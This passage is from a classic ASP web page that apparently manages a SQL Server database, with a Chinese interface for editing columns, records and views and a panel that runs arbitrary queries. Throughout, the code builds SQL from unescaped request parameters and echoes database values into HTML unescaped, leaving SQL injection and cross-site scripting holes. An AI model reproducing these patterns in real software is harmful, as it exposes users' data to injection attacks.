"</TD>" & _
"</TR>" & _
"<TR bgcolor=""#FFFFFF"">" & _
"<TD>长度:</TD>" & _
"<TD><INPUT TYPE=""text"" NAME=""Length"" SIZE=""10"" VALUE="""& oldlength &"""> (for text fields - 1073741823 max)</TD>" & _
"</TR>" & _
"<TR bgcolor=""#FFFFFF"">" & _
"<TD colspan=""2""><input type=""submit"" value="" 确 定 "">" & _
" " & _
"<input name=""Reset"" type=""reset"" value="" 重 置 "">" & _
" " & _
"<input name=""Cancel"" type=""button"" value="" 取 消 "" onclick=""window.history.back()"">" & _
"<INPUT TYPE=""hidden"" NAME=""nameold"" SIZE=""30"" VALUE="""& sField &"""></TD>" & _
"</TR>" & _
"</FORM>" & _
"</TABLE>")
CloseDB
End Sub
Sub SaveField()
sFieldname = trim(Request.Form("name"))
sFieldType = trim(Request.Form("type"))
sFieldlen = trim(Request.Form("Length"))
if trim(Request.Form("nameold")) = "" then
sSQL = "alter table " & sTable & " add " & sFieldname & " "
else
sSQL = "alter table " & sTable & " alter column " & sFieldname & " "
end if
sSQL = sSQL & sFieldType
if sFieldlen <> "" then
sSQL = sSQL & "(" & sFieldlen & ") Null"
else
sSQL = sSQL & " Null"
end if
on error resume next
OpenDB
Conn.Execute sSQL
if err.number <> 0 then
ShowMessageBox("保存字段资料时发生错误。<BR><BR>错误描述: " & Err.Description)
Else
ShowMessageBox("成功保存字段资料:" & sFieldname & "<BR><BR><a href='?action=listtb'>点击这里继续</a>")
end if
CloseDB
End Sub
Sub DeleteField
if lcase(Request("confirm")) = "yes" then
sTable = Trim(Request("table"))
sField = Trim(Request("field"))
if sTable = "" or sField = "" then
Response.Write("没有输入字段名称")
else
on error resume next
OpenDB
Conn.Execute "alter table " & sTable & " drop column " & sField
if err.number <> 0 then
ShowMessageBox("删除字段时发生错误。<BR><BR>错误描述: " & Err.Description)
Else
ShowMessageBox("成功删除字段:" & sTable & "." & sField & "<BR><BR><a href='?action=edittb&table="& sTable &"'>点击这里继续</a>")
end if
err.clear
CloseDB
end if
else
strmsg = "删除前请确认...<BR><BR>"
strmsg = strmsg & "<a href='?action=deletefield&confirm=yes&table=" & sTable & "&field="&sField&"'>Yes - 删除这个字段</a><BR><BR>"
strmsg = strmsg & "<a href='?action=edittb&table="& sTable &"'>No - 不要删除这个字段</a>"
ShowMessageBox(strmsg)
end if
End Sub
Sub SQLExecutor(sQuery)
if sQuery = "" then exit sub
dim intRecordsAffected , objField
set RS = Conn.Execute(cstr(sQuery),intRecordsAffected)
if intRecordsAffected < 0 Then
RS.MoveFirst
Response.write ("<center>" & _
"<div class=""JJ"" style=""height:450px;"" align=center>" & _
"<p>" & intRecordsAffected & " records affected!</P>" & _
"<table id=Result border=0 CELLSPACING=1 bgcolor=#CCCCCC CELLPADDING=4 width=90% cols=" & RS.Fields.Count & ">" & _
"<tr align=center bgcolor=#F2F2F2>")
for each objField in RS.Fields
Response.write "<Th nowrap>" & objField.Name & "</th>"
Next
Response.write "</tr>"
Do while NOT RS.EOF
Response.write ("<TBODY>" & _
"<tr bgcolor=#FFFFFF>")
For each objField in RS.Fields
Response.write "<td nowrap>"
if IsNull(objField) Then
Response.Write(" ")
End if
if mid(objField.Value, 1, 4) = "http" then
Response.Write "<a href=" & objField.Value & ">" & objField.Value & "</a>"
else
Response.Write (objField.Value)
end if
Response.write "</td>"
Next
RS.MoveNext
Response.write "</tr>"
Response.write "</TBODY>"
loop
Response.write ("</table>" & _
"</div>" & _
"</center>" & _
"<br>")
End If
End Sub
Sub ListRecords
OpenDB
sSQL = "Select * from " & sTable & " "
Set Rs = Conn.Execute(sSQL)
Response.Write ("<br><TABLE width='650px' align=center BORDER=0 CELLPADDING=4 CELLSPACING=1 WIDTH=100% BGCOLOR=#CCCCCC>" & _
"<tr width=70% bgcolor=#F2F2F2><td>Table: <strong>"& sTable &"</strong></td>" & _
"<td width=30% align=right><a href=""?action=edittb&table=" & sTable & """>查看表结构</a> | <a href=""?action=addrec&table=" & sTable & """>增加新记录</a>" & _
"</td></tr></table><br>" & _
"<center>" & _
"<div class=""JJ"" style=""height:450px;"" align=center>" & _
"<TABLE BORDER=0 CELLPADDING=4 CELLSPACING=1 WIDTH=100% BGCOLOR=#CCCCCC>" & _
"<TR bgcolor=#F2F2F2>" & _
"<TD ALIGN=""Left"" vAlign=""top"">删除</TD>")
For i = 0 to rs.fields.count - 1
Response.Write("<TD ALIGN=""Left"" nowrap>" & Rs.Fields(i).name & "</TD>")
next
Response.Write "</TR>"
do while not rs.eof
Response.Write "<TR>"
For i = 0 to rs.fields.count - 1
if i = 0 then
Response.Write "<TD ALIGN=""Left"" bgcolor=""#FFFFFF"" nowrap><a href='?action=delrec&table=" & sTable & "&field="&Rs.Fields(i).name&"&id=" & rs.fields(0).value & "'>删除</a></TD>"
Response.Write "<TD ALIGN=""Left"" bgcolor=""#FFFFFF"" nowrap><a href='?action=editrec&table=" & sTable & "&field="&Rs.Fields(i).name&"&id=" & rs.fields(0).value & "'>修改 #" & rs.fields(0).value & "</a></TD>"
else
Response.Write "<TD ALIGN=""Left"" bgcolor=""#FFFFFF"" nowrap>" & Rs.Fields(i).value & "</TD>"
end if
next
Response.Write "</TR>"
rs.movenext
loop
Response.Write ("</TABLE>" & _
"</div>" & _
"</center>" )
CloseDB
End Sub
Sub UpdateRecord
sSQL = "UPDATE " & sTable & " SET "
OpenDB
set Rs = Conn.execute("Select top 1 * from " & sTable & "")
For i = 1 to rs.fields.count - 1
sSQL = sSQL & rs.fields(i).name & "= '" & Request.Form(rs.fields(i).name) & "' "
if i < rs.fields.count - 1 then sSQL = sSQL & ", "
next
sSQL = sSQL & " where ("&sField&"=" & intID & ")"
Conn.execute(sSQL)
response.Write("成功保存数据<br><br>")
WriteLink "?action=listrec&field="&sField&"&table=" & sTable,"点击这里继续","<BR>"
CloseDB
End Sub
Sub AddRecord
dim strField, strValue
strField = ""
strValue = ""
OpenDB
Set Rs = Conn.Execute("Select top 1 * from " & sTable & "")
For i = 1 to rs.fields.count - 1
strField = strField & rs.fields(i).name
strValue = strValue & "'" & Request.Form(rs.fields(i).name) & "' "
if i < rs.fields.count - 1 then
strField = strField & ", "
strValue = strValue & ", "
end if
next
sSQL = "INSERT INTO " & sTable & " " & "( " & strField & " ) VALUES " & " ("& strValue &") "
response.Write("执行的SQL语句为:<br>" & sSQL)
Conn.execute(sSQL)
response.Write("<br><br>成功添加数据<br><br>")
WriteLink "?action=listrec&field="&sField&"&table=" & sTable,"点击这里继续","<BR>"
CloseDB
End Sub
Sub EditRecords()
if sField <> "" then
sSQL = "Select * from " & sTable & " where ("&sField&" = " & intID & ") "
sAction="updaterec"
else
sSQL = "Select top 1 * from " & sTable
sAction="addrec"
end if
OpenDB
set Rs = conn.execute(sSQL)
Response.Write (" " & _
"<FORM METHOD=POST ACTION='?action=" & sAction & "&table=" & sTable & "&field=" & sField & "'>" & _
"<TABLE width=""90%"" BORDER=""0"" CELLPADDING=""4"" CELLSPACING=""1"" BGCOLOR=""#CCCCCC"" align=center>" & _
"<TR><TD colspan="""& rs.fields.count &""" bgcolor=""#F2F2F2""><strong>添加修改记录</strong></TD></TR>")
For i = 0 to rs.fields.count - 1
Response.Write( "" & _
"<TR>" & _
"<TD ALIGN=""Left"" bgcolor=""#FFFFFF""><B>" & Rs.Fields(i).name & "</B></TD>" & _
"<TD ALIGN=""Left"" bgcolor=""#F2F2F2"">" & Rs.Fields(i).type & "</TD>" & _
"<TD ALIGN=""Left"" bgcolor=""#F2F2F2"">")
WriteType i
Response.Write "</TD></TR>"
next
Response.Write ("</TABLE>" & _
"<TABLE width=""90%"" align=center BORDER=0 CELLPADDING=3 CELLSPACING=0>" & _
"<TR>" & _
"<TD ALIGN=""Left""><input name=submit type=submit value="" 确 定 "">" & _
" <input name=reset type=reset value="" 重 置 "">" & _
" <input name=cancel type=button value="" 取 消 "" onClick=""window.history.back()""></TD>" & _
"</TR>" & _
"</TABLE>" & _
"</FORM>")
CloseDB
End Sub
Sub DeleteRecords
if lcase(Request("confirm")) = "yes" then
OpenDB
sSQL = "DELETE FROM " & sTable & " where ("&sField&"=" & intID & ")"
Conn.execute(sSQL)
ShowMessageBox("删除成功。<br><br><a href='?action=listrec&table=" & sTable & "'>点击这里继续</a>")
CloseDB
else
strmsg = "删除前请确认...<BR><BR>"
strmsg = strmsg & "<a href='?action=delrec&confirm=yes&table=" & sTable & "&field="&sField&"&id=" & intID & "'>Yes - 删除这笔记录</a><BR><BR>"
strmsg = strmsg & "<a href='?action=listrec&table="& sTable &"'>No - 不要删除这笔记录</a>"
ShowMessageBox(strmsg)
end if
End Sub
Sub ListViews
OpenDB
sSQL = "select sysobjects.id,sysobjects.name,sysobjects.category,sysusers.name,sysobjects.crdate "
sSQL = sSQL & "from sysobjects join sysusers on sysobjects.uid = sysusers.uid "
sSQL = sSQL & "where sysobjects.xtype = 'V' order by sysobjects.category,sysobjects.name "
Set RS = Conn.execute(sSQL)
dim myView
Response.write ("<br>" & _
"<TABLE width=98% BORDER=0 align=center CELLPADDING=3 CELLSPACING=1 BGCOLOR=#cccccc>" & _
"<TR bgcolor=""#FFFFFF"">" & _
"<TD ALIGN=""Left"" colspan=""5"">["& DbName & "]的视图清单</TD>" & _
"</TR>" & _
"<TR>" & _
"<TD width=50% ALIGN=Left bgcolor=#F2F2F2><strong>视图名称</strong></TD>" & _
"<TD width=10% ALIGN=Left bgcolor=#F2F2F2><strong>所有者</strong></TD>" & _
"<TD width=8% ALIGN=Left bgcolor=#F2F2F2><strong>类型</strong></TD>" & _
"<TD width=19% ALIGN=Left bgcolor=#F2F2F2><strong>创建日期</strong></TD>" & _
"<TD width=13% ALIGN=center bgcolor=#F2F2F2><strong>操作</strong></TD>" & _
"</TR>")
Do until RS.EOF
myView = "["&DbName&"].["&RS(3)&"].["&RS(1)&"]"
Response.write (" <TR bgcolor=#FFFFFF>" & _
"<TD ALIGN=Left><a href=""?action=showvw&view=" & myView & """>" & RS(1) & "</a> (ID "& RS(0) &")" & _
"</TD>" & _
"<TD ALIGN=Left>" & RS(3) & "</TD>" & _
"<TD ALIGN=Left>")
if RS(2)=0 then response.Write("用户") else response.Write("系统")
Response.write ("</TD>" & _
" <TD ALIGN=Left>" & RS(4) & "</TD>" & _
" <TD ALIGN=center><a href=""?action=editvw&view=" & myView & """>编辑</a> | <a href=""?action=delvw&view=" & "["&RS(3)&"].["&RS(1)&"]" & """>删除</a>" & _
" </TD>" & _
" </TR>")
RS.movenext
Loop
Response.write "</TABLE>"
CloseDB
end Sub
Sub EditViews
sSQL = "select b.name,c.name,c.xtype,b.length,b.isnullable,b.status,b.colid from sysobjects a "
sSQL = sSQL & "join syscolumns b on a.id = b.id "
sSQL = sSQL & "join systypes c on b.xtype = c.xtype and c.usertype <> 18 "
sSQL = sSQL & "where a.id = Object_ID('"& sView &"') order by b.colid"
OpenDB
Dim viewtext
viewtext = txt2html(GetObjectText(DbName,sView))
Response.Write ("<br>" & _
"<TABLE WIDTH=""90%"" BORDER=""0"" align=""center"" CELLPADDING=""4"" CELLSPACING=""1"" BGCOLOR=""#CCCCCC"">" & _
"<TR><TD bgcolor=""#FFFFFF""><a href='?action=listvw'>返回视图清单</a></TD></TR>" & _
"<TR><TD bgcolor=""#F1F1F1""><strong>视图 "& sView &" 的内容</strong></TD></TR>" & _
"<TR><TD bgcolor=""#FFFFFF"">"& viewtext &"</TD></TR>" & _
"<TR><TD bgcolor=""#FFFFFF""><input value="" 修 改 "" name=""UpView"" type=""button"" onclick=""window.location.href='?action=updatevw&view="&sView&"'""></TD></TR>" & _
"</TABLE>")
Set RS = Conn.Execute(sSQL)
Response.Write ("<BR>" & _
"<TABLE WIDTH=""90%"" BORDER=""0"" align=""center"" CELLPADDING=""4"" CELLSPACING=""1"" BGCOLOR=""#CCCCCC"">" & _
"<TR><TD colspan=""5"" bgcolor=""#FFFFFF""><a href='?action=listvw'>返回视图清单</a></TD></TR>" & _
"<TR bgcolor=""#F2F2F2"">" & _
" <TD ALIGN=""Left""><strong>字段名</strong></TD>" & _
" <TD ALIGN=""Left""><strong>数据类型</strong></TD>" & _
" <TD ALIGN=""Left""><strong>长度</strong></TD>" & _
" <TD ALIGN=""Left""><strong>允许空</strong></TD>" & _
" <TD ALIGN=""Left""><strong>标识列</strong></TD>" & _
"</TR>")
Do until RS.EOF
Response.Write ("<TR bgcolor=""#FFFFFF"" ALIGN=""Left"">" & _
" <TD>" & RS(0) & "</TD>" & _
" <TD>" & RS(1) & "</TD>" & _
" <TD>" & RS(3) & "</TD>" & _
" <TD>")
if RS(4) = 0 then Response.Write "False" else Response.Write "True"
Response.Write " </TD><TD>"
if RS(5) = 128 then Response.write "True" else Response.Write "False"
Response.Write "</TD></TR>"
Rs.movenext
Loop
Response.Write "</TABLE><br>"
CloseDB
End Sub
Sub ShowViews()
OpenDB
sSQL = "Select * from " & sView & " "
Set Rs = Conn.Execute(sSQL)
Response.Write ("<br>" & _
"<TABLE width='650px' align=center BORDER=0 CELLPADDING=4 CELLSPACING=1 WIDTH=100% BGCOLOR=#CCCCCC>" & _
"<tr width=80% bgcolor=#F2F2F2><td><strong>Views: "& sView &"</strong> </td>" & _
"<td width=20% align=right><a href=""?action=editvw&view=" & sView & """>查看视图结构</a>" & _
"</td></tr></table><br>" & _
"<center>" & _
"<div class=""JJ"" style=""height:450px;"" align=center>" & _
"<TABLE BORDER=0 CELLPADDING=4 CELLSPACING=1 WIDTH=100% BGCOLOR=#CCCCCC>" & _
"<TR bgcolor=#F2F2F2>")
For i = 0 to rs.fields.count - 1
Response.Write("<TD ALIGN=""Left"" nowrap>" & Rs.Fields(i).name & "</TD></TR>")
next
do while not rs.eof
Response.Write "<TR>"
For i = 0 to rs.fields.count - 1
Response.Write "<TD ALIGN=""Left"" bgcolor=""#FFFFFF"" nowrap>" & Rs.Fields(i).value & "</TD></TR>"
next
rs.movenext
loop
Response.Write "</TABLE></div></center>"
CloseDB
End Sub
Sub DeleteViews
if lcase(Request("confirm")) = "yes" then
if sView = "" then
Response.Write("没有输入视图名称")
else
on error resume next
OpenDB
Conn.execute "USE [" & DbName & "];"
Conn.Execute "DROP VIEW " & sView
if err.number <> 0 then
ShowMessageBox("删除时发生错误。<BR><BR>错误描述: " & Err.Description)
Else
ShowMessageBox("成功删除视图:" & sView & "<BR><BR><a href='?action=listvw'>点击这里继续</a>")
end if
err.clear
CloseDB
end if
else
strmsg = "删除前请确认...<BR><BR>"
strmsg = strmsg & "<a href='?action=delvw&confirm=yes&view=" & sView & "'>Yes - 删除这个视图</a><BR><BR>"
strmsg = strmsg & "<a href='?action=listvw'>No - 不要删除这个视图</a>"
ShowMessageBox(strmsg)
end if
End Sub
Sub UpdateViews()
OpenDB
Dim viewtext, strVIew
strView = Trim(Request.Form("txtView"))
if strView = "" then
viewtext = GetObjectText(DbName,sView)
if instr(viewtext,"create") > 0 then
viewtext = Replace(viewtext,"create","ALTER")
elseif instr(viewtext,"CREATE") > 0 then
viewtext = Replace(viewtext,"CREATE","ALTER")
end if
Response.Write ("<br>" & _
"<TABLE WIDTH=""90%"" BORDER=""0"" align=""center"" CELLPADDING=""4"" CELLSPACING=""1"" BGCOLOR=""#CCCCCC"">" & _
"<form name='viewform' action='?action=updatevw' method='post'>" & _
"<TR><TD bgcolor=""#FFFFFF""><a href='?action=listvw'>返回视图清单</a></TD></TR>" & _
"<TR><TD bgcolor=""#F1F1F1""><strong>视图 "& sView &" 的内容</strong></TD></TR>" & _
"<TR><TD bgcolor=""#FFFFFF""><textarea ROWS=20 style='width:100%' name=""txtView"">"& viewtext &"</textarea></TD></TR>" & _
"<TR><TD bgcolor=""#FFFFFF""><input value="" 保 存 "" name=""UpView"" type=""submit"">" & _
" <input value="" 重 置 "" name=""Reset"" type=""reset"">" & _
" <input value="" 取 消 "" name=""Cancel"" type=""button"" onclick=""window.location.href='?action=listvw'"">" & _
"</TD></TR></form></TABLE>")
else
On Error Resume Next
Conn.execute(strView)
if err.number<> 0 then
ShowMessageBox("修改视图时发生错误:" & Err.Description)
else
ShowMessageBox("成功修改视图!<br><br><a href='?action=listvw'>点击这里返回</a>")
end if
err.clear
end if